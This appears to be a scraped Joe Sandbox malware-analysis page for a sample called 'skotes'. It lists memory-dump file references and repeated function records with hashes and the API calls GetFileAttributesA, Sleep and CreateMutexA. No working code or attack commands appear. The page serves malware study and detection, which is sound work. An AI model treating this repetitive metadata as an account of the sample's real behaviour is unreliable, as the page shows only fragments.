Associated: 00000006.00000002.3555136246.00000000009AA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3555342528.00000000009AB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3555530882.00000000009AC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3555754783.00000000009AD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3555975217.00000000009AF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3556155342.00000000009B9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3556468550.00000000009BB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3556671455.00000000009C6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3557387645.00000000009D7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3557804597.00000000009EF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3558054687.00000000009F9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3558438132.00000000009FA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3558626776.0000000000A00000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3558774157.0000000000A08000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3559006189.0000000000A0A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3559283374.0000000000A14000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3559403402.0000000000A19000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3559518994.0000000000A22000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3559714420.0000000000A25000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3559837415.0000000000A27000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3560183370.0000000000A28000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3560481546.0000000000A29000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3560646110.0000000000A2C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3561095556.0000000000A4D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3561305755.0000000000A4E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3561305755.0000000000A75000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3562119404.0000000000A8C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3562225946.0000000000A8D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3562437345.0000000000AA3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3562655966.0000000000AA4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3563011884.0000000000AA5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3563591877.0000000000AA8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3564331366.0000000000AAA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3564461490.0000000000AB9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3564614300.0000000000ABA000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7a0000_skotes.jbxd

Yara matches

Similarity

API ID: AttributesCreateFileMutexSleep
String ID:
API String ID: 396266464-0
Opcode ID: 8f01bc6c36ddf83cfe7cd855ee151378e3b366478b45d4b24420775ba8b07dbc
Instruction ID: 64efe7a02e7152093474ef2d7e30da3c23c6856804188a83a434265fb7949553
Opcode Fuzzy Hash: 8f01bc6c36ddf83cfe7cd855ee151378e3b366478b45d4b24420775ba8b07dbc
Instruction Fuzzy Hash: 09310731B00104ABEB189B68DC89BADB772EFC6314F248319E014973D5EB7EA981C752

Function 007AA1AE Relevance: 4.6, APIs: 3, Instructions: 135sleepsynchronizationCOMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNEL32(00000000), ref: 007AA1B1
Sleep.KERNEL32(00000064,?), ref: 007AA963
CreateMutexA.KERNEL32(00000000,00000000,00803254), ref: 007AA981

Memory Dump Source

Source File: 00000006.00000002.3542500693.00000000007A1000.00000040.00000001.01000000.00000007.sdmp, Offset: 007A0000, based on PE: true

Associated: 00000006.00000002.3540934783.00000000007A0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3542500693.0000000000802000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3543645819.0000000000809000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3543849521.000000000080B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3544147667.0000000000815000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3544884051.0000000000816000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3545529517.0000000000817000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3548987152.000000000096C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3549203550.000000000096F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3549750910.0000000000989000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3549750910.0000000000997000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3550871572.0000000000999000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3551681102.000000000099B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3552990004.000000000099D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3554243018.000000000099E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3554866861.00000000009A9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3555136246.00000000009AA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3555342528.00000000009AB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3555530882.00000000009AC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3555754783.00000000009AD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3555975217.00000000009AF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3556155342.00000000009B9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3556468550.00000000009BB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3556671455.00000000009C6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3557387645.00000000009D7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3557804597.00000000009EF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3558054687.00000000009F9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3558438132.00000000009FA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3558626776.0000000000A00000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3558774157.0000000000A08000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3559006189.0000000000A0A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3559283374.0000000000A14000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3559403402.0000000000A19000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3559518994.0000000000A22000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3559714420.0000000000A25000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3559837415.0000000000A27000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3560183370.0000000000A28000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3560481546.0000000000A29000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3560646110.0000000000A2C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3561095556.0000000000A4D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3561305755.0000000000A4E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3561305755.0000000000A75000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3562119404.0000000000A8C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3562225946.0000000000A8D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3562437345.0000000000AA3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3562655966.0000000000AA4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3563011884.0000000000AA5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3563591877.0000000000AA8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3564331366.0000000000AAA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3564461490.0000000000AB9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3564614300.0000000000ABA000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7a0000_skotes.jbxd

Yara matches

Similarity

API ID: AttributesCreateFileMutexSleep
String ID:
API String ID: 396266464-0
Opcode ID: 826803ebfe600d61572b5044accfc4465c717381ebb6a6fb1e0c4bb0f9b5237c
Instruction ID: 49c53ecc8dc294b0a92c1a9eecc2ffe3825a078e3045c59de6bb055f3962e25e
Opcode Fuzzy Hash: 826803ebfe600d61572b5044accfc4465c717381ebb6a6fb1e0c4bb0f9b5237c
Instruction Fuzzy Hash: 9C310731B00104EBFB189BA8DC897ADB772AFC7314F244319E014972D1E77EA981C752

Function 007AA2E3 Relevance: 4.6, APIs: 3, Instructions: 134sleepsynchronizationCOMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNEL32(00000000), ref: 007AA2E6
Sleep.KERNEL32(00000064,?), ref: 007AA963
CreateMutexA.KERNEL32(00000000,00000000,00803254), ref: 007AA981

Memory Dump Source

Source File: 00000006.00000002.3542500693.00000000007A1000.00000040.00000001.01000000.00000007.sdmp, Offset: 007A0000, based on PE: true

Associated: 00000006.00000002.3540934783.00000000007A0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3542500693.0000000000802000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3543645819.0000000000809000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3543849521.000000000080B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3544147667.0000000000815000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3544884051.0000000000816000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3545529517.0000000000817000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3548987152.000000000096C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3549203550.000000000096F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3549750910.0000000000989000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3549750910.0000000000997000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3550871572.0000000000999000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3551681102.000000000099B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3552990004.000000000099D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3554243018.000000000099E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3554866861.00000000009A9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3555136246.00000000009AA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3555342528.00000000009AB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3555530882.00000000009AC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3555754783.00000000009AD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3555975217.00000000009AF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3556155342.00000000009B9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3556468550.00000000009BB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3556671455.00000000009C6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3557387645.00000000009D7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3557804597.00000000009EF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3558054687.00000000009F9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3558438132.00000000009FA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3558626776.0000000000A00000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3558774157.0000000000A08000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3559006189.0000000000A0A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3559283374.0000000000A14000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3559403402.0000000000A19000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3559518994.0000000000A22000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3559714420.0000000000A25000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3559837415.0000000000A27000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3560183370.0000000000A28000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3560481546.0000000000A29000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3560646110.0000000000A2C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3561095556.0000000000A4D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3561305755.0000000000A4E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3561305755.0000000000A75000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3562119404.0000000000A8C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3562225946.0000000000A8D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3562437345.0000000000AA3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3562655966.0000000000AA4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3563011884.0000000000AA5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3563591877.0000000000AA8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3564331366.0000000000AAA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3564461490.0000000000AB9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3564614300.0000000000ABA000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7a0000_skotes.jbxd

Yara matches

Similarity

API ID: AttributesCreateFileMutexSleep
String ID:
API String ID: 396266464-0
Opcode ID: 5024e759d354547d6452d01eb2b389ea27cb4dd98ce034de15cd3e5ce72c9647
Instruction ID: 9559028be9160d613fb35229b642563aabb68a9ba4b2f4ae070e24f0a85bc67a
Opcode Fuzzy Hash: 5024e759d354547d6452d01eb2b389ea27cb4dd98ce034de15cd3e5ce72c9647
Instruction Fuzzy Hash: 20312731B00100EBEF189B68DC897ADB772AFD7314F248319E014976D5D77EA981C752

Function 007AA418 Relevance: 4.6, APIs: 3, Instructions: 133sleepsynchronizationCOMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNEL32(00000000), ref: 007AA41B
Sleep.KERNEL32(00000064,?), ref: 007AA963
CreateMutexA.KERNEL32(00000000,00000000,00803254), ref: 007AA981

Memory Dump Source

Source File: 00000006.00000002.3542500693.00000000007A1000.00000040.00000001.01000000.00000007.sdmp, Offset: 007A0000, based on PE: true

Associated: 00000006.00000002.3540934783.00000000007A0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3542500693.0000000000802000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3543645819.0000000000809000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3543849521.000000000080B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3544147667.0000000000815000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3544884051.0000000000816000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3545529517.0000000000817000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3548987152.000000000096C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3549203550.000000000096F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3549750910.0000000000989000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3549750910.0000000000997000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3550871572.0000000000999000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3551681102.000000000099B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3552990004.000000000099D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3554243018.000000000099E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3554866861.00000000009A9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3555136246.00000000009AA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3555342528.00000000009AB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3555530882.00000000009AC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3555754783.00000000009AD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3555975217.00000000009AF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3556155342.00000000009B9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3556468550.00000000009BB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3556671455.00000000009C6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3557387645.00000000009D7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3557804597.00000000009EF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3558054687.00000000009F9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3558438132.00000000009FA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3558626776.0000000000A00000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3558774157.0000000000A08000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3559006189.0000000000A0A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3559283374.0000000000A14000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3559403402.0000000000A19000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3559518994.0000000000A22000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3559714420.0000000000A25000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3559837415.0000000000A27000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3560183370.0000000000A28000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3560481546.0000000000A29000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3560646110.0000000000A2C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3561095556.0000000000A4D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3561305755.0000000000A4E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3561305755.0000000000A75000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3562119404.0000000000A8C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3562225946.0000000000A8D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3562437345.0000000000AA3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3562655966.0000000000AA4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3563011884.0000000000AA5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3563591877.0000000000AA8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3564331366.0000000000AAA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3564461490.0000000000AB9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3564614300.0000000000ABA000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7a0000_skotes.jbxd

Yara matches

Similarity

API ID: AttributesCreateFileMutexSleep
String ID:
API String ID: 396266464-0
Opcode ID: 9da919e02bd1e42493fb6a55233243ed8ca68ea0e45648720fedbd9ef2a40b69
Instruction ID: ebf9b3d3338428b3093d7e4e5d0f9d441ae7b845236621756682e1241b68940c
Opcode Fuzzy Hash: 9da919e02bd1e42493fb6a55233243ed8ca68ea0e45648720fedbd9ef2a40b69
Instruction Fuzzy Hash: 09310631A00240EBEB18ABBCDC897ADB771EFC6314F248319E014972D5EB7D6981C762

Function 007AA54D Relevance: 4.6, APIs: 3, Instructions: 132sleepsynchronizationCOMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNEL32(00000000), ref: 007AA550
Sleep.KERNEL32(00000064,?), ref: 007AA963
CreateMutexA.KERNEL32(00000000,00000000,00803254), ref: 007AA981

Memory Dump Source

Source File: 00000006.00000002.3542500693.00000000007A1000.00000040.00000001.01000000.00000007.sdmp, Offset: 007A0000, based on PE: true

Associated: 00000006.00000002.3540934783.00000000007A0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3542500693.0000000000802000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3543645819.0000000000809000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3543849521.000000000080B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3544147667.0000000000815000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3544884051.0000000000816000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3545529517.0000000000817000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3548987152.000000000096C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3549203550.000000000096F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3549750910.0000000000989000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3549750910.0000000000997000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3550871572.0000000000999000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3551681102.000000000099B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3552990004.000000000099D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3554243018.000000000099E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3554866861.00000000009A9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3555136246.00000000009AA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3555342528.00000000009AB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3555530882.00000000009AC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3555754783.00000000009AD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3555975217.00000000009AF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3556155342.00000000009B9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3556468550.00000000009BB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3556671455.00000000009C6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3557387645.00000000009D7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3557804597.00000000009EF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3558054687.00000000009F9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3558438132.00000000009FA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3558626776.0000000000A00000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3558774157.0000000000A08000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3559006189.0000000000A0A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3559283374.0000000000A14000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3559403402.0000000000A19000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3559518994.0000000000A22000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3559714420.0000000000A25000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3559837415.0000000000A27000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3560183370.0000000000A28000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3560481546.0000000000A29000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3560646110.0000000000A2C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3561095556.0000000000A4D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3561305755.0000000000A4E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3561305755.0000000000A75000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3562119404.0000000000A8C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3562225946.0000000000A8D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3562437345.0000000000AA3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3562655966.0000000000AA4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3563011884.0000000000AA5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3563591877.0000000000AA8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3564331366.0000000000AAA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3564461490.0000000000AB9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3564614300.0000000000ABA000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7a0000_skotes.jbxd

Yara matches

Similarity

API ID: AttributesCreateFileMutexSleep
String ID:
API String ID: 396266464-0
Opcode ID: 9daf4e1c8190bce0d129d9649ff672703af4d1464af3f26c4d79146f238cec6f
Instruction ID: 846ba02336cb8bf46892f2058230b5f3edf03bad048e8f51b10193acb084a86d
Opcode Fuzzy Hash: 9daf4e1c8190bce0d129d9649ff672703af4d1464af3f26c4d79146f238cec6f
Instruction Fuzzy Hash: 64310B31A00100EBEB18EBB8DC8976DB762EFC6314F244719E054972D1DB3D9D81C756

Function 007AA682 Relevance: 4.6, APIs: 3, Instructions: 131sleepsynchronizationCOMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNEL32(00000000), ref: 007AA685
Sleep.KERNEL32(00000064,?), ref: 007AA963
CreateMutexA.KERNEL32(00000000,00000000,00803254), ref: 007AA981

Memory Dump Source

Source File: 00000006.00000002.3542500693.00000000007A1000.00000040.00000001.01000000.00000007.sdmp, Offset: 007A0000, based on PE: true

Associated: 00000006.00000002.3540934783.00000000007A0000.00000004.00000001.01000000.00000007.sdmpDownload File
